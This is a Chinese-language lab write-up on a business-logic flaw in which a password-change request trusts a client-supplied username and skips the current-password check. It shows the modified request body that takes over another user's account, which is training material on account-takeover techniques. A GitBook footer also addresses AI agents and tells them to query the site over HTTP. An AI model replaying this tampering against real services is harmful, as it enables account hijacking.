> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/business-logic/weak-isolation-on-dual-use-endpoint.md).

# 双用途端点上的弱隔离性

### 双用途端点上的弱隔离

**实验说明**

此实验室基于一个错误的假设，即仅根据客户端发送的参数来判断用户权限级别。/ 通过利用账户管理功能中的逻辑缺陷，可以控制任意账户，包括管理员账户。

\*\* 目标：\*\*/ 访问管理员账户并删除用户 **carlos**.

**提供的凭据：**

* 用户： `wiener`
* 密码： `peter`

<figure><img src="/files/1b7131a8c85dfdb05a7401634c36c8bfc82c9a3c" alt=""><figcaption></figcaption></figure>

**观察密码修改机制**

一旦连接到 `wiener` 该账户后，有一个功能允许你修改密码。/ 发送到服务器的请求如下：

```bash
csrf=3wgY9AYHzbOWg73KitML2AQkY0fef2kK
&username=wiener
&current-password=peter
&new-password-1=jordan
&new-password-2=jordan
```

服务器使用 `username` 客户端提供的参数来确定要更改的账户。

<figure><img src="/files/25e2c12fd66cf6ae74c3282da20252a2f50ed69a" alt=""><figcaption></figcaption></figure>

**利用逻辑缺陷**

通过修改查询，可以针对其他用户。

<figure><img src="/files/c519fc949bec4f95571c4c74e32b054ce92f68dd" alt=""><figcaption></figcaption></figure>

此外， `current-password` 参数没有被正确检查。

修改后的用户请求 **carlos**:

{% code overflow="wrap" %}

```bash
csrf=3wgY9AYHzbOWg73KitML2AQkY0fef2kK
&username=carlos
&new-password-1=jordan
&new-password-2=jordan
```

{% endcode %}

<figure><img src="/files/0079ecde23bf245a3d52dda5db5c2d683c451aa7" alt=""><figcaption></figcaption></figure>

服务器接受该请求并修改该账户的密码 **carlos**，而无需提供旧密码。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/business-logic/weak-isolation-on-dual-use-endpoint.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
